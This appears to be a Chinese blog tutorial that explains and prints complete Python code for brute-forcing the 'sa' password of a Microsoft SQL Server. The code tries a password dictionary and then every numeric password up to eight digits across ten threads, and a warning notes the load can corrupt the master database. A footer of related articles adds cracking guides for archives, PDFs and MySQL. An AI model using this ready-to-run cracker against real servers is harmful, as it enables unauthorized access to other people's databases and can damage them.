一、编写密码测试函数


在用python连接mssql数据库的时候,通常会使用pymssql模板中的connect函数,格式如下:

connect(server,user,password,database)

help文档的函数介绍:

  connect(...)
  Constructor for creating a connection to the database. Returns a
  Connection object.

正常情况下,如果输入正确的server,user,password和database参数,该函数会返回一个数据库连接对象,而输入的参数是错误的信息时,则会报错,并返回各种错误提示。

所以倘若使用循环语句,将所有可能的密码字符串传递给connect函数,并配合try...except...就可以达到破解mssql一个指定账号的密码的目的了。

 def cracker(server,pswd_list):
for pswd in pswd_list:
try:
  conn=pymssql.connect(server,'sa',str(pswd),database='master')
  print(u"服务器%s 账号sa的密码为 : %s\n" % (server,pswd))
  conn.close()
  break
except:
  continue

如上代码:server为mssql服务器的地址,pswd_list为密码字符串列表。


二、生成密码列表


遍历所有可能的密码,既不现实也太花时间。

所以这里考虑的方案是

  • 1、首先基于密码字典进行破解

先尝试网络上流行使用的各类常用和简单的密码。

 def get_pwlist():
pwlist = []
with open('passwddic.txt','r') as f:
for line in f.readlines():
password = line.strip('\n')
pwlist.append(password)
return pwlist
  • 2、在密码字典没有匹配到正确密码的情况下,尝试从1位到8位,遍历所有的数字组合。

一个简单的方案就是使用range(1,100000000),将1到100000000间所有的数值作为密码就行尝试。


三、开启多线程


虽然目前缩小的密码样本空间,但是通过循环遍历这些密码还是要花费太多的时间。

所以这里需要利用模板threading使用多线程同时测试这些密码,大幅缩减遍历所有密码所需时间。这里需要解决两个问题:一方面,我们需要把密码列表根据分配的线程数平分给各个线程。另一方面,需要设置一个变量tag,初始设置成False,当一个线程找到正确密码的时候将该变量更改为True,这样其他的线程就可以根据这个变量提前结束运行,不再做不必要的测试。

全部的代码如下:

 #!/usr/bin/evn python
#-*- coding:utf-8 -*-
'''
Created on 2018年11月19日 @author: jinfeng
''' from threading import Thread
import time
import os
import pymssql def cracker(server,pswd_list,no):
global tag print(u"No.%s号线程已开始运行,对%d个常用密码进行测试 !" % (no,len(pswd_list)))
for pswd in pswd_list:
if not tag:
try:
conn=pymssql.connect(server,'sa',str(pswd),database='master')
print(u"No.%s号线程运行结束 !\n 服务器%s 账号sa的密码为 : %s\n" % (no,server,pswd))
tag = True
conn.close()
break
except:
continue
else:
break #print(u"No.%s号线程运行结束 !" % no) def get_pwlist():
pwlist = []
with open('passwddic.txt','r') as f:
for line in f.readlines():
password = line.strip('\n')
pwlist.append(password)
return pwlist def main():
global tag
tag = False
server = '127.0.0.1'
num_thread = 10
time_start = time.time()
pwlist = get_pwlist()
step = len(pwlist)//num_thread+1
for n in range(num_thread):
t1 = Thread(target = cracker,args = (server,pwlist[step*n:step*n+step],str(n+1),))
t1.start()
t1.join() if not tag:
print(u'密码字典测试完毕,未找到匹配密码,将遍历测试8位以内所有数字密码!')
for m in range(10):
t2 = Thread(target = cracker,args = (server,range(m*10000000,(m+1)*10000000),str(m+1)+'+',))
t2.start()
t2.join()
time_end = time.time()
time_use = time_end - time_start
print(u'用时 %d时%d分%d秒' % (time_use//3600,time_use%3600//60,time_use%60)) if __name__ == "__main__":
main()

运行结果如下:

 警告:高密度频繁访问mssql的数据库,有可能让数据库的主服务崩溃(master数据库文件损坏),所以最好提前备份好数据库中的系统数据库(先停止mssql主服务,备份master.mdf和mastlog.ldf两个文件)。系统数据库崩溃后,如下图,错误代码3417。否则只就能从其他地方复制master.mdf和mastlog.ldf来替换本地损坏文件。

利用python破解sqlserver账号密码的更多相关文章

  1. 利用 Python 破解 ZIP 或 RAR 文件密码

    我们经常会从网络上下载一些带密码的压缩包,想要获取里面的内容,往往就要给提供商支付一些费用.想要白嫖其中的内容,常见的做法是百度搜索一些压缩包密码破解软件,但后果相信体验过的人都知道.本文将会利用 P ...

  2. selenium(python)登录时账号密码错误提示语

    selenium(python)登录时账号密码错误提示语的获取 可以用text

  3. 利用SharedPreferences完成记住账号密码的功能

    利用SharedPreferences完成记住账号密码的功能 效果图: 记住密码后,再次登录就会出现账号密码,否则没有. 分析: SharedPreferences可将数据存储到本地的配置文件中 Sh ...

  4. mysql 暴力破解 root账号密码

    测试数据库的root账号密码大家都忘记了,好吧,那我们就暴力破解吧 1.找到my.cnf vi /etc/my.cnf在[mysqld]的段中加上一句:skip-grant-tables例如:[mys ...

  5. 利用Python暴力爆破PDF密码

    一个简单的Python脚本,可用于暴力破解受密码保护的PDF文件的密码脚本已在使用128位RC4(大多数信用卡对帐单)加密的PDF上进行了测试,成功率为100% pasword='<passwo ...

  6. 利用Python模拟登录pastebin.com

    任务 在https://pastebin.com网站注册一个账号,利用python实现用户的自动登录和创建paste.该任务需要分成如下两步利用python实现: 账号的自动登录 paste的自动创建 ...

  7. 忘记秘密利用python模拟登录暴力破解秘密

    忘记秘密利用python模拟登录暴力破解秘密: #encoding=utf-8 import itertools import string import requests def gen_pwd_f ...

  8. C#构造Http 破解学校教务系统学生账号密码

    背景介绍 我们学校的教务系统的是以学生学号作为登陆账号,初始密码是自己的生日. 一点点想法 每次期末查成绩的时候,我都会有一个想法,要是我能跑到系统后台,把自己的成绩修改一下,那该时间多么舒坦的事情啊 ...

  9. 利用 John the Ripper 破解用户登录密码

    一.什么是 John the Ripper ? 看到这个标题,想必大家都很好奇,John the Ripper 是个什么东西呢?如果直译其名字的话就是: John 的撕裂者(工具). 相比大家都会觉得 ...

随机推荐

  1. 使用node.js & live server在移动端测试网站

    1.安装node.js 下载Node.js官网 cmd下确认node已安装 node -v ※进入node环境 2.确认npm已安装(Node.js的包管理工具(package manager)) n ...

  2. python简单爬虫 用lxml解析页面中的表格

    目标:爬取湖南大学2018年在各省的录取分数线,存储在txt文件中 部分表格如图: 部分html代码: <table cellspacing="0" cellpadding= ...

  3. 20145338 《网络对抗》 MSF基础应用

    20145338<网络对抗> MSF基础应用 实验内容 ·掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路. 具体需要完成(1)一个主动攻击;(2)一个针对浏览器的攻击 ...

  4. Map集合练习题

    (Map)已知某学校的教学课程内容安排如下: 完成下列要求:1) 使用一个Map,以老师的名字作为键,以老师教授的课程名作为值,表示上述课程安排.2) 增加了一位新老师Allen 教JDBC3) Lu ...

  5. μCOS-Ⅲ——临界段

    临界段代码(critical sections),也叫临界区(critical region),是指那些必须完整连续运行,不可被打断的代码段.μC/OS-Ⅲ系统中存在大量临界段代码.采用两种方式对临界 ...

  6. 第十五周翻译-《Pro SQL Server Internals, 2nd edition》

    <Pro SQL Server Internals, 2nd edition> 作者:Dmitri Korotkevitch 翻译:赖慧芳 译文: 55-58页 第三章 统计 SQL Se ...

  7. Ruby中方法的设计理念

    Ruby中的方法命名遵从与局部变量相同的规则和约定.这是一种设计理念:方法并不因其自身作为方法而被人关注,而是简单地作为提供值的表达式融入到程序的结构中.

  8. <FAT文件系统> -- DBR

    FAT16是比较简单的文件系统,相比NFTS等文件系统,该系统的学习比较easy,容易上手,同时对于数据存储的机理以及数据的恢复有一定的帮助.FAT文件系统有一定的弊端,不能支持太大的数据存储. FA ...

  9. MySQL最基本的概念梳理

    本文根据<MySQL必知必会>(Ben Forta著,2009)整理,基于MySQL4.1-5,可作为深入研究MySQL之前的漱口篇.(基本语句.正则表达式.联结.全文本搜索.增删改查.存 ...

  10. eclipse使用技巧心得分享

    eclipse使用技巧心得分享   习惯了eclipse开发java程序,公司最近的项目都是idea开发的,同时android studio也是idea原型开发的,在学android开发,所以脱离ec ...